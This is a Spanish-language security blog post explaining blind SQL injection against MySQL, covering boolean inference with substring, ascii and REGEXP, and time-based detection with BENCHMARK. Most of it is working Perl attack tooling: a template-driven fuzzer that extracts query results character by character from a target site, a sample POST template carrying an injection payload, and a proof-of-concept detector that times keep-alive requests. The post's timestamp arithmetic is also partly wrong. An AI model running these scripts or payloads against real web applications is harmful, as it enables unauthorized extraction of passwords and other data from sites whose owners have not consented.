Los Caballeros

"Sobre seguridad, programación, modding, frikismo, etc... "

Blind SQL Injection (con algo de HTTP y Perl :P)

Twitter icon Twitter icon
Aquí xianur0 de nuevo, vamos a ver mas o menos temas similares a los que se vieron en mi taller del x25, comenzaremos con un poco de teoría y después pasaremos a fuzzing.

¿Por que se llama Blind SQL Injection?

La explicación es simple, por que no podemos ver el resultado de una consulta, únicamente podemos detectar algo que nos diga si la consulta es correcta o no (booleanos: resta 1 bit hacia la respuesta :P).

¿De que nos sirve saber si es correcta o no?

Se estarán preguntando si en verdad ese true o false nos van a servir para obtener un dato útil (ejemplo: contraseñas), y si en verdad esto nos puede ser de mucha utilidad, solamente que sera un poco mas lento... pero igualmente satisfactorio :P...

Veamos una consulta (usaremos las tablas por defecto de mysql para no tener que complicarnos estructurando algo).

La clásica consulta:

SELECT table_name FROM information_schema.tables group by table_name

esto si pudiéramos ver la salida nos daría las tablas que tenemos, pero no podemos ver dicha salida, igualmente queremos saber las tablas que tiene esta base de datos, así que procedamos.

SELECT substring(table_name,1,1),table_name FROM information_schema.tables group by table_name


Como podremos notar nos muestra la primera letra (y la tabla a la que pertenece), esto a simple vista no nos es de utilidad pues no podemos ver lo que nos retorna, pero podemos usar condiciones e ir buscando carácter a carácter, pero para esto necesitaríamos tener un array de caracteres, lo cual no me parece muy buena idea, aparte de que no podemos usar rangos como tal... o si?, bueno podríamos usando expresiones regulares:

SELECT substring(table_name,1,1) REGEXP '[a-z]',table_name FROM information_schema.tables group by table_name limit 1





Bueno con esto retornaría 1 si el carácter en cuestión es alguna letra, de este modo se reducen posibilidades (nótese que REGEXP no distingue entre mayúsculas y minúsculas), pero ahora esto no nos ayuda del todo, podemos reducir posibilidades de esta forma, pero aun no tenemos la solución al problema, pues como habíamos dicho no podemos ver la salida, solo si es correcto o falso, para esto debemos aclarar cuando es true y cuando es false:

Cuando una consulta es correcta esta retorna resultados (por lógica) y cuando es incorrecta retorna un error o no retorna columnas, es decir tenemos que va a ser false cuando retorne un error o no retorne columnas, entonces vamos a hacer eso:

SELECT 1 FROM information_schema.tables where 1=1 and (substring(table_name,1,1) REGEXP '[a-z]') group by table_name limit 1

en este caso se va a cumplir la condición cuando el primer carácter sea alguna letra, de otro modo false.

bueno eso es en cuanto a expresiones regulares, pero suponiendo que no pudiéramos usar comillas (o comillas dobles dependiendo del caso) se puede usar la clásica codificación hexadecimal (0x5b612d7a5d para el regex anterior) ya que se trata como cadena.

pero no queremos usar un array, así que usaremos alguna codificación para pasar a números el carácter (con algún fin que en este momento no se me ocurre), para esto tenemos funciones como ascii(), la cual nos retorna el número ascii del carácter.

SELECT 1 FROM information_schema.tables where ascii(substring(table_name,1,1)) = 97 limit 1

en este caso también podemos usar rangos (mayor que >, menor que <, menor o igual que <=, mayor o igual que >=) ya que es número.

Bueno ahora, ya sabemos como funciona (mas o menos) por dentro un blind, pero como podemos detectarlo desde afuera? como mencione arriba hay siempre una cosa que nos dice que es true o false, es decir una cosa que falta en la pagina, o una cosa que sobra en la pagina, por ejemplo cuando es false que nos redireccione al index o no nos muestre algo, en este caso lo llamaremos "por detectores", en este caso programe un sistema que nos ayudara mucho en esta clase de cosas, describamos su funcionamiento:

  • Utiliza plantillas, es decir nosotros estructuramos los paquetes HTTP que se enviaran (de este modo podemos usar blind en cualquier parte del paquete HTTP, ya sea por POST, GET o en los encabezados o en todos los anteriores).
  • Permite búsqueda por expresiones regulares, de modo que podemos usar regex para buscar algún patrón en la respuesta del servidor (esto también incluye encabezados).
  • Soporta detectores positivos y negativos (que solo aparece algún patrón en la pagina cuando la consulta es invalida).
  • Esta en perl :P...
Ahora les coloco el fuzzer:


#!perl/bin/perl.exe
use LWP::UserAgent;
use IO::Socket;
$ua = LWP::UserAgent->new;
$ua->agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.17) Gecko/20080829 Firefox/2.0.0.17");
my $outs;

sub uso {
die("Uso: detector.pl [url] [apartir de] [regex 1/0] [tipo 0/1] [detector] [plantilla] [sql]");
}

uso() if($#ARGV != 6);


sub banear {
print "Parametros invalidos!\r\n";
exit;
}


sub error {
$error[1] = "Parametros Incorrectos!</mensaje>";
$error[2] = "Error en el sistema remoto!";
print $error[$_[0]];
exit;
}

sub tohex($)
{
(my $str = shift) =~ s/(.|\n)/"%".sprintf("%02lx", ord $1)/eg;
return $str;
}



sub leerfile($) {
my $plantillas = $_[0];
print "Leyendo: ".$plantillas."\n\n";
open PLANTILLAS, $plantillas;
my $linea = "";
my $todo = "";
while($linea = <PLANTILLAS>) {
$linea =~ s/(^(\s|\n|\r)+|((\s|\n|\r)+$))//g;
$todo .= $linea;
}
die("Plantilla vacia!\n") if($todo eq '');
return $todo;
}


my $url = $ARGV[0];
my $host = "";
my $iniciarapartirde = $ARGV[1];
die("URL Invalida!") if($url eq "");
my $regex = $ARGV[2];
&banear if($regex ne "1" && $regex ne "0");
my $type = (($ARGV[3] == 0) ? 2 : 3);
&banear if($type eq "");
my $detector = $ARGV[4];
die("No escribio ningun detector!") if($detector eq "");
$i=20;
$simbolo = ">";
die("URL Invalida!\n") if($url !~ /^http/);
$plantillaxml = leerfile($ARGV[5]);
die("Plantilla invalida!") if($plantillaxml eq "");
@pparseada = ($plantillaxml =~ /<paquete>(.*?)<\/paquete>/);
$paqueteoriginal = $pparseada[0];
$sql = $ARGV[6];
die("Por favor escriba la consulta a realizar.") if($sql eq "");
$sql = tohex($sql);
$sql =~ s/\s/+/g;
@partesurl = ($url =~ /^http:\/\/([\w\d\-\.:]+)(\/*(.+))/);
$host = $partesurl[0];
print "Host: ".$host."\n\n";
$paqueteoriginal =~ s/<0x30>crlf<\/0x30>/\r\n/g;
$paqueteoriginal =~ s/<0x30>url<\/0x30>/$url/g;
$paqueteoriginal =~ s/<0x30>host<\/0x30>/$host/g;
die("Plantilla Invalida!") if($paqueteoriginal eq "");

sub enviar {
$finalizo = 0;
$paquete = $_[0];
$paquete =~ s/\r\n/\n/g;
$detector = $_[1];
$regex = $_[2];
$tipo = $_[3];
@datos = split("\n",$paquete);

if($host =~ /(.+):(\d+)$/) {

($host,$puerto) = ($1,$2);

}

$puerto = 80 if($puerto eq "");
my $sock;
while(!$sock) {
$sock = IO::Socket::INET->new(PeerAddr => $host,

PeerPort => $puerto, Proto => 'tcp');
}
$paquete =~ s/\n/\r\n/g;
$paquete =~ s/\r\r/\r/g;
print $sock $paquete;

my $contenido = "";

while($linea = <$sock>) {
$contenido .= $linea;
}
$finalizo = 1 if($contenido =~ m/$detector/ && $tipo eq 2 && $regex == "1");
$finalizo = 1 if($contenido !~ m/$detector/ && $tipo eq 3 && $regex == "1");
$finalizo = 1 if(index($contenido, $detector) != "-1" && $tipo eq 2 && $regex eq 0);
$finalizo = 1 if(index($contenido, $detector) == "-1" && $tipo eq 3 && $regex eq 0);
close($sock);
return $finalizo;
}

$caracter = 1;
$caracter = $iniciarapartirde if($iniciarapartirde ne "");
$simbolo = ">";
$i = "40";

while($caracter ne "finito") {
$paquetetmp = $paqueteoriginal;
$paquetetmp =~ s/<0x30>simbolo<\/0x30>/$simbolo/g;
die("Error!\nResultado: ".$outs."\nUltimo caracter: ".$caracter."\r\n") if($i > 127);
$paquetetmp =~ s/<0x30>vascii<\/0x30>/$i/g;
$paquetetmp =~ s/<0x30>ncaracter<\/0x30>/$caracter/g;
$paquetetmp =~ s/<0x30>sql<\/0x30>/$sql/g;
@postdata = split("\r\n\r\n",$paquetetmp);

if($postdata[1] ne "") {
$contentlength = length($postdata[1]);
$paquetetmp =~ s/<0x30>content-length<\/0x30>/$contentlength/g;
}

$finalizo = enviar($paquetetmp,$detector,$regex, $type);
if($finalizo == 1) {
print "Caracter encontrado: ".chr($i)."\n\n" if($simbolo eq '=');
$encontrado = "true";
} else {
if($i > 127 || $i < 20) {
print "Resultado: $outs\nUltimo caracter: ".$caracter."\n\n";
}

$encontrado = "false";
}

if($encontrado eq "true") {
if($simbolo ne '=') {
$base = $i;
$i = $i+10;
} else {
if($i < 20 || $i < $base || $i > 127) {
print "Resultado: ".$outs."\nUltimo caracter: ".$caracter."\r\n";
die("\n[!] Datos obtenidos: $outs\n");
} else {
$outs .= chr($i);
print "Resultado: ".$outs."\nUltimo caracter: ".$caracter."\r\n";
$caracter++;
$dism=0;
$simbolo = ">";
$i=20;
}
}
} else {

if($i < 20) {
print "Resultado: ".$outs."\nUltimo caracter: ".$caracter."\r\n";
$caracter = "finito";
}
else {
if($dism eq 1) {
$i = $i-1;
}
$simbolo = "=";
$dism = 1;
}

}

}


en este momento no me dan muchas ganas de explicarlo, pero como los buenos programadores que somos estoy seguro que lo entenderan sin problemas ;)...

Ahora les pongo un ejemplo de plantilla:

<paquete>
POST <0x30>url</0x30> HTTP/1.1<0x30>crlf</0x30>
Host: <0x30>host</0x30><0x30>crlf</0x30>
Content-Type: application/x-www-form-urlencoded<0x30>crlf</0x30>
Content-length: <0x30>content-length</0x30><0x30>crlf</0x30>
Connection: Close<0x30>crlf</0x30>
<0x30>crlf</0x30>
buscar=%'+and+%28select+ascii%28substring%28%28<0x30>sql</0x30>%29,<0x30>ncaracter</0x30>,1%29%29%29<0x30>simbolo</0x30><0x30>vascii</0x30>#<0x30>crlf</0x30><0x30>crlf</0x30>
</paquete>

en este caso utiliza el funcionamiento anterior (mediante ascii() y substring() )

Nota: 0x30 = 0 (sí, me gusta mucho el numero 0 xD...).

Pero hay otros momentos en que la pagina no hace un cambio que se pueda detectar fácilmente, en estos casos la consulta igual se ejecuta, pero no podemos ver ninguna diferencia en la web, para esto tenemos la función BENCHMARK() y aparte tenemos el protocolo HTTP (y sí, el protocolo HTTP es mi maldición xD...), la función BENCHMARK(), lo que hace es ejecutar las veces que nosotros le digamos una función, lo cual causa alguna carga en el servidor mysql, por lo cual hay un retraso, en este caso, si nosotros ejecutamos:

BENCHMARK(10000,MD5('XIANUR0')))

ejecutara 10000 veces la codificación md5 de la cadena "XIANUR0", lo cual lógicamente consume recursos y por tanto causara un retraso en responder, y de este modo la pagina web tardara mas tiempo en enviarnos la pagina, pues esta esperando la respuesta del servidor SQL.

Como podemos medir fiablemente el tiempo que tarda el servidor de MySQL en ejecutar una función sin tener acceso a esos datos?, midiendo el tiempo que tarda en procesar la pagina el servidor sin el benchmark y luego medir el tiempo que tarda en procesar la pagina con el, pero como podemos eliminar de estos cálculos los retrasos que puede tener nuestra conexión?, en esto entra el protocolo HTTP :P, utilizando conexiones persistentes podemos medir rangos de tiempo utilizando el encabezado "Date", ahora les coloco una prueba de concepto (y sí... programado en perl también...)


use LWP::UserAgent;
use IO::Socket::INET;

$url = $ARGV[0];

$comentario = "#";
my $sql = "select 1";
my $benchmark = 100000000;
my $prefijo = "buscar="; # "'";
my $sql = $prefijo.'%\'/**/and/**/(SELECT/**/BENCHMARK('.$benchmark.',MD5(\'A\')))'.$comentario;
my ($schema,$host,$path) = ($url =~ /^(https?):\/\/([\w\d\-\.]+)(\/*.*)$/);

sub dateparser {
my $date = $_[0];
my %sistema = ();
my ($diatexto,$dia,$mes,$ano,$horas,$minutos,$segundos,$zonahoraria) = ($date =~ /^(\w+), (\d{1,2}) (\w+) (\d{4}) (\d{2}):(\d{2}):(\d{2}) (.+)$/);
%sistema = ('diatexto',$diatexto,'dia',$dia,'mes',$mes,'año',$ano,'horas',$horas,'minutos',$minutos,'segundos',$segundos,'zona',$zonahoraria);
return %sistema;
}

sub timestamp {
my $date = $_[0];
my $timestamp = 0;
my %date = dateparser($date);
my %meses = ('Dec',12,'Nov',11,'Oct',10,'Sep',9,'Aug',8,'Jul',7,'Jun',6,'May',5,'April',4,'Mar',3,'Feb',2,'Jan',1);
my @dias_meses = ('', 31,29,31,30,31,30,31,31,30,31,30,31);
$timestamp += $date{'segundos'};
$timestamp += $date{'minutos'} * 60;
$timestamp += $date{'horas'} * 360;
$timestamp += ($date{'dia'} * 24) * 360;
$timestamp += (($meses{$date{'mes'}} * $dias_meses[$meses{$date{'mes'}}] ) * 24) * 360;
$timestamp += (($date{'año'} * 365 ) * 24) * 360;
return $timestamp;
}



my $sock = IO::Socket::INET->new(PeerAddr => $host,
PeerPort => 'http(80)',
Proto => 'tcp');
$path = (($path eq '' || $path eq '/') ? '/?' : $path);
my $paquete = "GET ".$path." HTTP/1.1\r\nHost: ".$host."\r\nConnection: Keep-Alive\r\n\r\n".
"GET ".$path.$sql." HTTP/1.1\r\nHost: ".$host."\r\nConnection: Keep-Alive\r\n\r\n".
"GET ".$path." HTTP/1.1\r\nHost: ".$host."\r\nConnection: Close\r\n\r\n";
print $sock $paquete;
my $respuesta = "";
while($linea = <$sock>) {
$respuesta .= $linea;
}
my @encabezados = split(/HTTP\/1\./,$respuesta);
my @dates = ();
BUCLE: foreach $encabezado (@encabezados) {
my ($encabezado,@basura) = split(/\r\n\r\n/,$encabezado);
my @headers = split(/\r\n/,$encabezado);
foreach $header (@headers) {
if($header =~ /^Date:\s(.+?)$/) {
my $date = $1;
print $date."\n";
push(@dates,timestamp($date));
}
}
}
my $primertime = $dates[0];
my $segundotime = $dates[1];
my $tercertime = $dates[2];
my $carga = $segundotime-$primertime;
my $blind = $tercertime-$segundotime;
print "Tiempo de carga promedio: ".$carga."\n";
if($blind > ($carga * 2)) {
print "Blind detectado!\n\tTiempo de carga: ".$blind."\n";
} else {
print "No hay blind :(\n";
}


Nota: el encabezado date en servidores apache se genera antes de procesar la pagina, de modo que el tiempo entre el primer encabezado date y el segundo, es el tiempo exacto que se tardo en procesar la primera pagina.

Este PoC, envía 3 paquetes HTTP en una conexión viva (persistente o reutilizada) y mide los tiempos en que tardo en procesar una pagina sin el benchmark y una con benchmark, de este modo se puede fácilmente detectar un blind (ya se que también podríamos haber utilizado el método HEAD para únicamente procesar los encabezados, pero preferí de esta forma ;)...)

Bueno de momento creo que ya seria todo por este "episodio" de la "saga", así que me despido, espero que les haya gustado y que sigan visitando el blog (y por que no, inviten a sus amigos :P)...

1 comentarios:

Anónimo dijo...

Xianur0 eres muy Perleroooo =) jajaj genial el paper ;)